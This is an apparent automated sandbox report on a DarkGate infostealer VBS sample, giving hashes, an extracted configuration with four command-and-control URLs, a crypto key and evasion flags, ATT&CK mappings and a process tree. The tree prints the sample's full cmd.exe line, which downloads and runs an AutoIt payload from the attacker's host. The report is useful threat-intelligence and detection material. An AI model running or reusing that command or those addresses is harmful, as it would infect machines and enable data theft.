darkgate | fdacf9f2b956237d9bcc538bc99b3ccaeb0e58eafbec7356ac6bf583b66ab053

Analysis

max time kernel
143s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
06/10/2023, 13:31

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General

Target
6a7c258b33be34d613ad96e19665ce25bee7eefcf55204640682d6cc.vbs
Size 57KB
Sample231006-qsdnesca4v
SHA256 fdacf9f2b956237d9bcc538bc99b3ccaeb0e58eafbec7356ac6bf583b66ab053
MD5 e1d853d3bd749fca48567649bda1080d
SHA1 32dfb32e90f46aa61738b87fab7fb5f397f890be
SHA512 30331355041bf04e7677c6853db55651d92c8b599b94f571ec1ca733448ddb161669a7976ed338fabb5e98c395bb1c32d94b74e157331d265bd13c68b8299f02
SSDEEP 768:aDEWCq8pkl3Ys82xvIzNuaBA5CB4rE4dQ6+eTa1Ckj11aB6p+MM:aRqWC4aAwEaT8knj11zlM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate usr_871663321 stealer

Malware Config

Extracted

Family

darkgate

Botnet

usr_871663321

http://onlinesalesjerek.com
http://onnlinebadroomstore.com
http://rty777casinojoker.com
http://herbolikcsoonstreedj.com

Attributes

alternative_c2_port
443
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
true
check_ram
true
check_xeon
true
crypter_au3
true
crypter_dll
false
crypter_rawstub
false
crypto_key
vDTMGxhyWeiCzX
internal_mutex
txtMut
minimum_disk
40
minimum_ram
4096
ping_interval
4
rootkit
true
startup_persistence
true
username
usr_871663321

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	4224	WScript.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
872	glsm.exe
3752	glsm.exe
4944	Autoit3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 4652	4224	WScript.exe	86
PID 4224 wrote to memory of 4652	4224	WScript.exe	86
PID 4652 wrote to memory of 872	4652	cmd.exe	88
PID 4652 wrote to memory of 872	4652	cmd.exe	88
PID 4652 wrote to memory of 3752	4652	cmd.exe	89
PID 4652 wrote to memory of 3752	4652	cmd.exe	89
PID 4652 wrote to memory of 4944	4652	cmd.exe	93
PID 4652 wrote to memory of 4944	4652	cmd.exe	93
PID 4652 wrote to memory of 4944	4652	cmd.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6a7c258b33be34d613ad96e19665ce25bee7eefcf55204640682d6cc.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\glsm & cd /d c:\glsm & copy c:\windows\system32\curl.exe glsm.exe & glsm -H "User-Agent: curl" -o Autoit3.exe http://onlinesalesjerek.com:2351 & glsm -o mrdsxh.au3 http://onlinesalesjerek.com:2351/msiglsmujml & Autoit3.exe mrdsxh.au3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - \??\c:\glsm\glsm.exe
    glsm -H "User-Agent: curl" -o Autoit3.exe http://onlinesalesjerek.com:2351
    3⤵
    - Executes dropped EXE
    PID:872
- - \??\c:\glsm\glsm.exe
    glsm -o mrdsxh.au3 http://onlinesalesjerek.com:2351/msiglsmujml
    3⤵
    - Executes dropped EXE
    PID:3752
- - \??\c:\glsm\Autoit3.exe
    Autoit3.exe mrdsxh.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Autoit3.exe

Path C:\glsm\Autoit3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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glsm.exe

Path C:\glsm\glsm.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

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glsm.exe

Path C:\glsm\glsm.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

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glsm.exe

Path \??\c:\glsm\glsm.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

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mrdsxh.au3

Path \??\c:\glsm\mrdsxh.au3
Size 906KB
SHA256 02810fdb8cb7c20bdcd7a9b9f3172f177e75819756c6f54f9932f132ef541b7e
MD5 ca0ba323ae5bab16f31041ae02f5a595
SHA1 2dcc226ebadd8614352f73c369825110b904b6e2
SHA512 fce3a13399097b420719c6942398f8265d5cea740f2f1cfcc637d1f9471143f3192e55893e72d8ae53e941c18fe60dd3db685177a9df7134f0073ffbd0878d29
SSDEEP 12288:HGOtXOUlN40auOfFBrLGkkCxsoRE2dk40QHz3tgEJufM/eOqm0CQN8zpHcVYeMMw:DsvkCxsoRhTHzErGpuSOZpa
MD5 SHA1 SHA512 SSDEEP

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memory/4944-13-0x00000000034D0000-0x00000000035C5000-memory.dmp

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memory/4944-12-0x0000000000FC0000-0x00000000013C0000-memory.dmp

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memory/4944-14-0x00000000041A0000-0x0000000004563000-memory.dmp

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memory/4944-15-0x00000000034D0000-0x00000000035C5000-memory.dmp

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memory/4944-16-0x00000000041A0000-0x0000000004563000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads